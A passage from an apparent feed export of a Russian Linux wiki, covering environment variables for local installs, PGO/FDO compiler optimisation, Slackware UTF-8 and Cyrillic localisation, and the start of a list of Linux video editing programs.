$HOME/usr/include:\&lt;br /&gt;
$HOME/usr/local/include&lt;br /&gt;
&lt;br /&gt;
export CPLUS_INCLUDE_PATH=\&lt;br /&gt;
$CPLUS_INCLUDE_PATH:\&lt;br /&gt;
$HOME/usr/include:\&lt;br /&gt;
$HOME/usr/local/include&lt;br /&gt;
&lt;br /&gt;
export LDFLAGS=&amp;quot;\&lt;br /&gt;
-L$HOME/usr/lib \&lt;br /&gt;
-L$HOME/usr/local/lib \&lt;br /&gt;
$LDFLAGS&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
После этого вам нужно перелогиниться в систему.&lt;br /&gt;
&lt;br /&gt;
Будет доступен вызов программ, программы смогут найти свои библиотеки, можно будет вызывать их страницы man, info.&lt;br /&gt;
&lt;br /&gt;
==Как запустить программу не устанавливая её, сразу же после компиляции ?==&lt;br /&gt;
&lt;br /&gt;
Если программа при запуске требует библиотеки из других каталогов, то для этого скомпилированный elf-файл программы и её библиотеки положите в один каталог.&lt;br /&gt;
&lt;br /&gt;
В этой папке создайте такой файл для запуска программы :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
export PATH=\&lt;br /&gt;
`pwd`:\&lt;br /&gt;
$PATH&lt;br /&gt;
&lt;br /&gt;
export LD_LIBRARY_PATH=\&lt;br /&gt;
`pwd`:\&lt;br /&gt;
$LD_LIBRARY_PATH&lt;br /&gt;
&lt;br /&gt;
./program_name&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Что такое сборка с обратной связью (FDO/PGO/LWP) ?==&lt;br /&gt;
&lt;br /&gt;
Современные компиляторы (GCC =&amp;gt; 4.3 или Intel C/C++) позволяют использовать автоматическое профилирование (в отличие от ручного (с помощью gprof, например) поиска наиболее интенсивно нагружающих процессор функций и их переписывания более оптимальным образом), такая оптимизация называется оптимизацией с обратной связью (feedback directed optimization - FDO), легковесным профилированием (LWP - lightweight profiling, в отличие от &amp;quot;тяжеловесного&amp;quot; с помощью gprof и переписывания кода), оптимизацией ведомой профилем (PGO - profile guided optimization).&lt;br /&gt;
Процедура состоит из 3 фаз, одна из которых может являться интерактивной, т.е. требующей действий от пользователя.&lt;br /&gt;
&lt;br /&gt;
'''Этап 1''': Сборка инструментированных бинарных файлов&lt;br /&gt;
&lt;br /&gt;
Используются ключи компилятора -fprofile-gen (GCC) или -prof-gen (ICC) , целевые бинарные файлы будут содержать много служебного кода, который будет использоваться для сбора статистики во время выполнения программы, инструментированные бинарные файлы имеют низкую производительность сгенерированного кода.&lt;br /&gt;
&lt;br /&gt;
'''Этап 2''': Интерактивная фаза сбора статистики&lt;br /&gt;
&lt;br /&gt;
Программа устанавливается обычным образом (или в отдельный префикс) и используется пользователем, во время работы программы собирается статистика промахов в кеш процессора, использования или неиспользования функций, переменных и так далее. В эту фазу важно постараться использовать программу максимальным образом, например и кодирование и декодирование разных форматов в случае с медиа кодеками, компрессию и декомпрессию с разными опцииями в случае архиваторов, использовать все пункты в меню и открыть все типы документов в случае программы с графическим интерфейсом,&lt;br /&gt;
для неиспользованных функций информация по профилю собрана не будет.&lt;br /&gt;
Файлы статистики обычно пишутся в каталог с файлами исходного кода или можно (например для Gentoo portage, при использовании стандартых ebuild'ов) задавать каталог с помощью ключей -fprofile-dir=путь (GCC) или -prof-dir путь (для ICC) на первом этапе.&lt;br /&gt;
&lt;br /&gt;
'''Этап 3''': Пересборка программы с учетом собранной статистики&lt;br /&gt;
&lt;br /&gt;
Производится очистка собраных объектных файлов и пересборка с использованием собраной статистики, используются ключи компилятора -fprofile-use (GCC) или -prof-use (ICC), результирующие бинарные файлы обычно имеют максимально достигаемую с помощью опций компилятора оптимизацию под процессор. В случае с Mozilla Firefox 3.6 оптимизация сборкой под процессор Intel Pentium IV повышает производительность в тестах [https://web.archive.org/web/20100427162355/http://service.futuremark.com/peacekeeper/index.action Peacekeeper(web.archive.org -- смотреть версии конца 00-х годов)] на 10%, в случае использования FDO получаем еще 10%, т.е. суммарное ускорение по тестам достигает 20%, неплохой результат не так ли? &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Что говорит против использования FDO для сборки программ ?'''&lt;br /&gt;
&lt;br /&gt;
Сборка длительна и трудоемка, возможно требует активных действий от пользователя.&lt;br /&gt;
&lt;br /&gt;
GCC достаточно плохо реагирует на коллизии в статистике возникающие при многопоточности (или просто нескольких одновременных запусках) программы.&lt;br /&gt;
&lt;br /&gt;
И наконец, какой ужас! Собранные бинарные файлы будут привязаны к типу процессора (конвееру, размеру кешей, конкретным ключам сборки, например -mfpmath=sse) , что может проявиться снижением производительности на других процессорах, особенно с меньшим кешем, типом конвеера (in order execution на Intel Atom например), что существенно ограничивает распространение собранных данным методом программ.&lt;br /&gt;
&lt;br /&gt;
Многие алгоритмы уже были отпрофилированы авторами кода вручную, и некоторые даже переписаны на язык assembler, поэтому не удивляйтесь , если потратив уйму времени на профилирование вашего любимого медиа-кодека вы получите прирост менее 1% .&lt;br /&gt;
&lt;br /&gt;
'''Какие пакеты поддерживают легкую сборку с профилированием?'''(Актуальность раздела не проверялась)&lt;br /&gt;
&lt;br /&gt;
[http://www.mozilla.com Mozilla Firefox] (make profiledbuild), существует также PKGBUILD для Arch Linux и (в багзилле) ebuild для Gentoo&lt;br /&gt;
&lt;br /&gt;
[http://www.videolan.org/developers/x264.html x264] (make fprofiled VIDS=&amp;quot;список файлов&amp;quot;)  интерактивная фаза тут не требует вмешательства пользователя,кодек будет отпрофилирован на указанных пользователем файлах с использованием различных настроек кодирования и декодирования.&lt;br /&gt;
&lt;br /&gt;
[http://gcc.gnu.org GCC] (make profiledbootstrap) в процессе сборки GCC будет собран backend компилирующий код на C на 7% быстрее , чем без профилирования (для ветки 4.5 пока не работает)&lt;br /&gt;
&lt;br /&gt;
Другие пакеты вам придется собирать по описанной выше трехэтапной схеме, вручную меняя CFLAGS, CXXFLAGS&lt;br /&gt;
&lt;br /&gt;
== Как на 64-битной ОС собирать для 32-битной ? ==&lt;br /&gt;
&lt;br /&gt;
Обмануть автоматическое определение архитектуры помогает утилита setarch, вызвать ее можно как i386 для установления 32-битности ОС. После вызова нужно заново задать переменные окружения, не забудьте и про добавление -m32 в флаги компилятора , а также другие значения, например --libdir=/usr/lib32 для ./configure (если ваша система содержит 32 битные библиотеки в /lib32)&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A0%D1%83%D1%81%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F_Slackware_c_UTF-8&amp;diff=351</id>
		<title>Русификация Slackware c UTF-8</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A0%D1%83%D1%81%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F_Slackware_c_UTF-8&amp;diff=351"/>
		<updated>2023-02-27T18:39:18Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{устарело}}&lt;br /&gt;
&lt;br /&gt;
[http://docs.slackware.com/slackware:localization Localization] на docs.slackware.com&lt;br /&gt;
&lt;br /&gt;
Ниже описаны способы русификации с учетом особенностей в выпуске конкретного релиза&lt;br /&gt;
&lt;br /&gt;
= Slackware 14 =&lt;br /&gt;
&lt;br /&gt;
[http://www.slackware.ru/wiki/%D0%A0%D1%83%D1%81%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F Русификация Slackware 14]&lt;br /&gt;
&lt;br /&gt;
= Slackware 13 =&lt;br /&gt;
&lt;br /&gt;
== Консоль ==&lt;br /&gt;
&lt;br /&gt;
=== Раскладка по Ctrl+Shift ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#!/bin/sh&lt;br /&gt;
# It's /etc/rc.d/rc.keymap&lt;br /&gt;
# Load the keyboard map.  More maps are in /usr/share/kbd/keymaps.&lt;br /&gt;
if [ -x /usr/bin/loadkeys ]; then&lt;br /&gt;
 /usr/bin/loadkeys /usr/share/kbd/keymaps/i386/qwerty/ruwin_ct_sh-UTF-8.map.gz&lt;br /&gt;
fi&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Шрифт, отображающий кириллицу ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
# It's /etc/rc.d/rc.font&lt;br /&gt;
setfont Cyr_a8x16.psfu.gz&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Локаль ===&lt;br /&gt;
&amp;lt;pre&amp;gt;#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
# It's /etc/profile.d/lang.sh&lt;br /&gt;
&lt;br /&gt;
# en_US is the Slackware default locale:&lt;br /&gt;
#export LANG=en_US&lt;br /&gt;
&lt;br /&gt;
# There is also support for UTF-8 locales, but be aware that&lt;br /&gt;
# some programs are not yet able to handle UTF-8 and will fail to&lt;br /&gt;
# run properly.  In those cases, you can set LANG=C before&lt;br /&gt;
# starting them.  Still, I'd avoid UTF unless you actually need it.&lt;br /&gt;
#export LANG=en_US.UTF-8&lt;br /&gt;
export LANG=ru_RU.UTF-8&lt;br /&gt;
 &lt;br /&gt;
# One side effect of the newer locales is that the sort order&lt;br /&gt;
# is no longer according to ASCII values, so the sort order will&lt;br /&gt;
# change in many places.  Since this isn't usually expected and&lt;br /&gt;
# can break scripts, we'll stick with traditional ASCII sorting.&lt;br /&gt;
# If you'd prefer the sort algorithm that goes with your $LANG&lt;br /&gt;
# setting, comment this out.&lt;br /&gt;
export LC_COLLATE=C&lt;br /&gt;
&lt;br /&gt;
# End of /etc/profile.d/lang.sh&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Не забываем убедиться, что на выше приведенных файлах (rc.font, rc.keymap, lang.sh) установлен атрибут выполнения. &lt;br /&gt;
&lt;br /&gt;
Поставить же его можно следующей командой: &lt;br /&gt;
&amp;lt;pre&amp;gt;chmod +x полный_путь_к_файлу&amp;lt;/pre&amp;gt;&lt;br /&gt;
Или же, разом все файлы:&lt;br /&gt;
&amp;lt;pre&amp;gt;chmod +x /etc/rc.d/rc.keymap /etc/rc.d/rc.font /etc/profile.d/lang.sh&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== LILO ===&lt;br /&gt;
&lt;br /&gt;
В /etc/lilo.conf нужно исправить строчку: &amp;lt;tt&amp;gt;append=&amp;quot; vt.default_utf8=0&amp;quot;&amp;lt;/tt&amp;gt; на &amp;lt;tt&amp;gt;append=&amp;quot; vt.default_utf8=1&amp;quot;&amp;lt;/tt&amp;gt; и выполнить команду &amp;lt;tt&amp;gt;lilo&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HAL, udev и X.Org ==&lt;br /&gt;
&lt;br /&gt;
=== Раскладка через HAL (Slackware 13.0, 13.1) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;cp /usr/share/hal/fdi/policy/10osvendor/10-keymap.fdi /etc/hal/fdi/policy/10-keymap.fdi&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Правим строки файла /etc/hal/fdi/policy/10-keymap.fdi с input.xkb, а именно options, layout, variant, задаем в них примерно следующее:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;deviceinfo version=&amp;quot;0.2&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;device&amp;gt;&lt;br /&gt;
    &amp;lt;match key=&amp;quot;info.capabilities&amp;quot; contains=&amp;quot;input.keymap&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;append key=&amp;quot;info.callouts.add&amp;quot; type=&amp;quot;strlist&amp;quot;&amp;gt;hal-setup-keymap&amp;lt;/append&amp;gt;&lt;br /&gt;
    &amp;lt;/match&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;match key=&amp;quot;info.capabilities&amp;quot; contains=&amp;quot;input.keys&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;merge key=&amp;quot;input.xkb.rules&amp;quot;   type=&amp;quot;string&amp;quot;&amp;gt;base&amp;lt;/merge&amp;gt;&lt;br /&gt;
      &amp;lt;merge key=&amp;quot;input.xkb.model&amp;quot;   type=&amp;quot;string&amp;quot;&amp;gt;evdev&amp;lt;/merge&amp;gt;&lt;br /&gt;
      &amp;lt;merge key=&amp;quot;input.xkb.layout&amp;quot;  type=&amp;quot;string&amp;quot;&amp;gt;us,ru&amp;lt;/merge&amp;gt;&lt;br /&gt;
      &amp;lt;merge key=&amp;quot;input.xkb.variant&amp;quot; type=&amp;quot;string&amp;quot;&amp;gt;,winkeys&amp;lt;/merge&amp;gt;&lt;br /&gt;
      &amp;lt;merge key=&amp;quot;input.xkb.options&amp;quot; type=&amp;quot;string&amp;quot;&amp;gt;terminate:ctrl_alt_bksp,grp:ctrl_shift_toggle,grp_led:scroll&amp;lt;/merge&amp;gt;&lt;br /&gt;
    &amp;lt;/match&amp;gt;&lt;br /&gt;
  &amp;lt;/device&amp;gt;&lt;br /&gt;
&amp;lt;/deviceinfo&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Раскладка через udev (Slackware 13.37 и Current) ===&lt;br /&gt;
&lt;br /&gt;
в Slackware Current используется более новая версия xorg-server в которой наконец то избавились от поддержки HAL, поэтому переключение раскладок снова настраивается как и раньше, только с небольшим отличием&lt;br /&gt;
&lt;br /&gt;
Правим файл /etc/X11/xorg.conf.d/90-keyboard-layout.conf, (если этого файла нет, то создаём) так, как нам нужно. Конечный результат должен выглядеть примерно так:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Section &amp;quot;InputClass&amp;quot;&lt;br /&gt;
	Identifier &amp;quot;keyboard-all&amp;quot;&lt;br /&gt;
	MatchIsKeyboard &amp;quot;on&amp;quot;&lt;br /&gt;
	Driver &amp;quot;evdev&amp;quot;&lt;br /&gt;
	Option &amp;quot;XkbLayout&amp;quot; &amp;quot;us,ru(winkeys)&amp;quot;&lt;br /&gt;
	Option &amp;quot;XkbOptions&amp;quot; &amp;quot;terminate:ctrl_alt_bksp,grp:alt_shift_toggle,grp_led:scroll&amp;quot;&lt;br /&gt;
EndSection&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Перезапускаем иксы, и переключаем раскладку по Alt+Shift, с подсветкой лампочки «Scroll Lock» на клаве.&lt;br /&gt;
&lt;br /&gt;
=== Типографская раскладка ===&lt;br /&gt;
&lt;br /&gt;
Если вы часто-часто готовите тексты в LibreOffice и он тупит с автозаменой — то вам пригодится «типографская раскладка», такая как [http://sapegin.ru/typolayout тут] (раскладка  Артёма Сапегина) или вот [http://ilyabirman.ru/typography-layout/ здесь] (раскладка Ильи Бирмана), например.&lt;br /&gt;
 &lt;br /&gt;
Тогда файл /etc/X11/xorg.conf.d/90-keyboard-layout.conf должен выглядить следующим образом:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Section &amp;quot;InputClass&amp;quot;&lt;br /&gt;
	Identifier &amp;quot;keyboard-all&amp;quot;&lt;br /&gt;
	MatchIsKeyboard &amp;quot;on&amp;quot;&lt;br /&gt;
	Driver &amp;quot;evdev&amp;quot;&lt;br /&gt;
	Option &amp;quot;XkbLayout&amp;quot; &amp;quot;us+typo,ru(winkeys):2+typo&amp;quot;	&lt;br /&gt;
	Option &amp;quot;XkbOptions&amp;quot; &amp;quot;lv3:ralt_switch,terminate:ctrl_alt_bksp,grp:alt_shift_toggle,grp_led:scroll&amp;quot;&lt;br /&gt;
EndSection&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Перезапускаем иксы, и радуемся, «типографские» символы набираются через правый Alt, и правый Alt+Shift.&lt;br /&gt;
&lt;br /&gt;
Раскладка немного отличается от двух приведенныйх выше, но поэкспериметировать и выяснить что-как не составит труда в том же OpenOffice’е. Да и во всяких жабберах можно выпендриться.&lt;br /&gt;
&lt;br /&gt;
== Русские man-страницы ==&lt;br /&gt;
&lt;br /&gt;
[http://www.slackware.ru/forum/viewtopic.php?f=8&amp;amp;t=234] Если кратко, то в /usr/lib/man.conf заменить строку&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
NROFF /usr/bin/nroff -Tlatin1 -mandoc&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
на&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
NROFF iconv -f utf8 -t koi8r -c | /usr/bin/nroff -Tlatin1 -mandoc -c | iconv -f koi8r -t utf8 -c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Slackware 12 =&lt;br /&gt;
&lt;br /&gt;
== Начало ==&lt;br /&gt;
&lt;br /&gt;
Сначала нужно убедиться что установлены следующие пакеты: &lt;br /&gt;
&lt;br /&gt;
* l/glibc-i18n		(содержит locale)&lt;br /&gt;
* x/x11-fonts-cyrillic  (русские шрифты для старых тулкитов, не использующих freetype2, например, gtk1)&lt;br /&gt;
* x/dejavu-fonts-ttf &lt;br /&gt;
* x/liberation-fonts-ttf&lt;br /&gt;
&lt;br /&gt;
Если используется kde:&lt;br /&gt;
* kdei/kde-i18n-ru	(русский перевод kde)&lt;br /&gt;
* kdei/koffice-i18n-ru	(русский перевод koffice)&lt;br /&gt;
&lt;br /&gt;
Если их нет, то доустановить недостающее можно с дистрибутивного диска. Дополнительно с него же можно поставить русский словарь для aspell, он находится extra/aspell-word-lists/aspell-ru&lt;br /&gt;
&lt;br /&gt;
== Поддержка UTF-8 ==&lt;br /&gt;
&lt;br /&gt;
Для поддержки UTF-8 понадобятся следующие вещи:&lt;br /&gt;
* ru-utf keymap, можно взять с [http://mlclm.narod.ru/ru-utf.map.gz] и положить в /usr/share/kbd/keymaps/i386/qwerty &lt;br /&gt;
&lt;br /&gt;
== Консоль ==&lt;br /&gt;
&lt;br /&gt;
=== Русский шрифт ===&lt;br /&gt;
&lt;br /&gt;
В /etc/rc.d/rc.font&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
#&lt;br /&gt;
# This selects your default screen font from among the ones in&lt;br /&gt;
# /usr/share/kbd/consolefonts.&lt;br /&gt;
#&lt;br /&gt;
unicode_start LatArCyrHeb-16&lt;br /&gt;
for i in 1 2 3 4 5 6;do&lt;br /&gt;
        echo -ne &amp;quot;\033%G&amp;quot; &amp;gt;/dev/tty$i&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Примечание: если вам понравился шрифт, который стоял по-умолчанию, вместо &amp;lt;b&amp;gt;LatArCyrHeb-16&amp;lt;/b&amp;gt; пропишите &amp;lt;b&amp;gt;cyr-sun16&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Раскладка клавиатуры ===&lt;br /&gt;
&lt;br /&gt;
В /etc/rc.d/rc.keymap (переключение по правому Alt, раскладка winkeys):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
# Load the keyboard map.  More maps are in /usr/share/kbd/keymaps.&lt;br /&gt;
if [ -x /usr/bin/loadkeys ]; then&lt;br /&gt;
  /usr/bin/loadkeys /usr/share/kbd/keymaps/i386/qwerty/ru-utf.map.gz&lt;br /&gt;
fi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Если раскладку ru-utf скачать не удалось, то можно попробовать нижеприведенный вариант (досовская раскладка, переключение, если верить автору, по Caps Lock):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
# Load the keyboard map.  More maps are in /usr/share/kbd/keymaps.&lt;br /&gt;
 if [ -x /usr/bin/loadkeys ]; then&lt;br /&gt;
#  /usr/bin/loadkeys /usr/share/kbd/keymaps/i386/qwerty/ru-utf.map.gz&lt;br /&gt;
#ru4.map переключает раскладки по Caps Lock. можно использовать любой другой .map файл.&lt;br /&gt;
  /usr/bin/loadkeys ru4.map&lt;br /&gt;
  /usr/bin/dumpkeys -c koi8-r | loadkeys --unicode&lt;br /&gt;
 fi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Локаль ===&lt;br /&gt;
В /etc/profile.d/lang.sh&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
export LANG=ru_RU.UTF-8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
и /etc/profile.d/lang.csh&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/csh&lt;br /&gt;
setenv LANG ru_RU.UTF-8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Не забудьте убедиться, что на файлы rc.font, rc.keymap, lang.sh, lang.csh установлен атрибут выполнения. Поставить его можно командой '''chmod +x'''&lt;br /&gt;
&lt;br /&gt;
== Настройка X.Org ==&lt;br /&gt;
&lt;br /&gt;
Сохранив старый конфиг иксов &amp;lt;tt&amp;gt;cp /etc/X11/xorg.conf /etc/X11/xorg.conf.old&amp;lt;/tt&amp;gt;, можно создать новый c помощью xorgsetup. Для стандартной русско-английской раскладки с переключением по Ctrl+Shift надо выбрать раскладки &amp;lt;tt&amp;gt;us,none,ru,winkeys&amp;lt;/tt&amp;gt; и &amp;lt;tt&amp;gt;Options grp:ctrl_shift_toggle и grp_led:scroll&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
В -current вместо winkeys выбирается none, а в /etc/X11/xorg.conf надо добавить следующий фрагмент:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Section &amp;quot;ServerFlags&amp;quot;&lt;br /&gt;
   Option &amp;quot;AutoAddDevices&amp;quot; &amp;quot;False&amp;quot;&lt;br /&gt;
EndSection&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Это отключит автоопределение устройств ввода HALом, но зато настройки клавиатуры будут читаться из конфига. Подробности в разделе [[X-сервер]].&lt;br /&gt;
&lt;br /&gt;
Чтобы разрешить использовать 3D-ускорение всем туда же дописываются строчки:&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
Section &amp;quot;DRI&amp;quot;&lt;br /&gt;
   Mode 0666&lt;br /&gt;
EndSection&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Установка шрифтов от Microsoft ===&lt;br /&gt;
&lt;br /&gt;
В общем-то после появления в составе дистрибутива шрифтов Liberation стал необязателен, но шрифты в нём всё равно пока лучше, и называются привычными пользователю Windows названиями.&lt;br /&gt;
&lt;br /&gt;
* http://downloads.sourceforge.net/dropline-gnome/cabextract-1.2-i686-3dl.tgz&lt;br /&gt;
* http://downloads.sourceforge.net/dropline-gnome/webfonts-1.3-noarch-3dl.tgz&lt;br /&gt;
&lt;br /&gt;
Ставить нужно сначала cabextract, потом webfonts.&lt;br /&gt;
&lt;br /&gt;
Другой, более простой способ, это просто взять и скопировать шрифты из Windows куда нибудь в /usr/share/fonts/X11/winfonts. Плюс такого метода в том, что будут доступны шрифты, не входящие в пакет webfonts, например Tahoma.&lt;br /&gt;
&lt;br /&gt;
Если кого-то смущает слово «Microsoft», можно не смущаться, это шрифты Agfa Monotype, просто одна малоизвестная софтверная контора купила на них лицензию и выложила их в сети на наиболее либеральных из всех купивших условиях.&lt;br /&gt;
&lt;br /&gt;
== Настройка /etc/fstab для поддержки русских имен на компакт дисках и дисках с FAT/NTFS ==&lt;br /&gt;
&lt;br /&gt;
Имена устройств подставьте свои. Посмотреть из можно в выводе команды fdisk -l&lt;br /&gt;
&lt;br /&gt;
CDROM/DVD:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 /dev/cdrom      /mnt/cdrom   iso9660   user,noauto,nosuid,noexec,nodev,ro,utf8   0   0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
FAT32:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 /dev/sda1      /mnt/windows   vfat   showexec,noexec,nosuid,nodev,umask=000,utf8,codepage=866   0   0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
NTFS:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/dev/sda1      /mnt/windows   ntfs-3g   umask=000,locale=ru_RU.UTF-8   1   0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Для поддержки ntfs требуется пакет ntfs-3g (&amp;lt;b&amp;gt;в последних версиях ntfs-3g опция locale не работает, ntfs-3g сейчас поддерживает только UTF-8&amp;lt;/b&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Флешка:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 /dev/sdb1      /mnt/flash   vfat   showexec,noexec,nosuid,nodev,noauto,user,umask=000,utf8,codepage=866   0   0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Смысл каждой опции можно узнать из man mount&lt;br /&gt;
&lt;br /&gt;
== Настройка TeX ==&lt;br /&gt;
&lt;br /&gt;
По минимуму — запустить texconfig и выбрать PAPER→A4. Для красивых русских буковок в pdf поставить шрифты cm-super.&lt;br /&gt;
&lt;br /&gt;
Для полноценной поддержки лучше поставить TeXlive.&lt;br /&gt;
&lt;br /&gt;
== Настройка man ==&lt;br /&gt;
&lt;br /&gt;
Для корректного отображения man-страниц надо в /usr/lib/man.conf сделать замену&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-NROFF /usr/bin/nroff -Tlatin1 -mandoc&lt;br /&gt;
+NROFF /usr/bin/enconv -L ru -x KOI8-R | /usr/bin/nroff -mandoc -Tlatin1 -c | /usr/bin/enconv -L ru -x UTF8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A0%D0%B5%D0%B4%D0%B0%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B8_%D0%BF%D1%80%D0%B5%D0%BE%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B0%D1%83%D0%B4%D0%B8%D0%BE_%D0%B8_%D0%B2%D0%B8%D0%B4%D0%B5%D0%BE_%D1%84%D0%B0%D0%B9%D0%BB%D0%BE%D0%B2&amp;diff=349</id>
		<title>Редактирование и преобразование аудио и видео файлов</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A0%D0%B5%D0%B4%D0%B0%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B8_%D0%BF%D1%80%D0%B5%D0%BE%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B0%D1%83%D0%B4%D0%B8%D0%BE_%D0%B8_%D0%B2%D0%B8%D0%B4%D0%B5%D0%BE_%D1%84%D0%B0%D0%B9%D0%BB%D0%BE%D0%B2&amp;diff=349"/>
		<updated>2023-02-27T18:39:18Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Как в Linux работать с видео? Какие есть программы для работы с видео?==&lt;br /&gt;
&lt;br /&gt;
Обычно для работы нужны:&lt;br /&gt;
&lt;br /&gt;
* [http://www.transcoding.org/cgi-bin/transcode transcode];&lt;br /&gt;
* [http://www.mplayerhq.hu/ mencoder], входит в состав MPlayer&lt;br /&gt;
* [http://ffmpeg.org ffmpeg];&lt;br /&gt;
* и иногда [http://mjpeg.sourceforge.net/ mjpegtools] вместе с [http://tovid.wikia.com/wiki/Tovid_Wiki tovid].&lt;br /&gt;
&lt;br /&gt;
Программа для примитивного монтирования — [http://fixounet.free.fr/avidemux/ avidemux]. Программы посложнее: [http://www.openshotvideo.com OpenShot], [http://www.pitivi.org/wiki/Main_Page PiTiVi], [http://www.kinodv.org/ Kino], [http://kdenlive.org/ Kdenlive], [http://jahshaka.org/ Jahshaka] и [http://lives.sourceforge.net/ LiVES]. Для профессиональной обработки видео или для выполнения задач аниматоров и дизайнеров подойдет [http://www.heroinewarrior.com/cinelerra.php Cinelerra].&lt;br /&gt;
&lt;br /&gt;
А ещё есть [http://www.cyberciti.biz/faq/top5-linux-video-editing-system-software неплохой обзор] со скриншотами и сводной таблицы возможностей некоторых вышеперечисленных.&lt;br /&gt;
&lt;br /&gt;
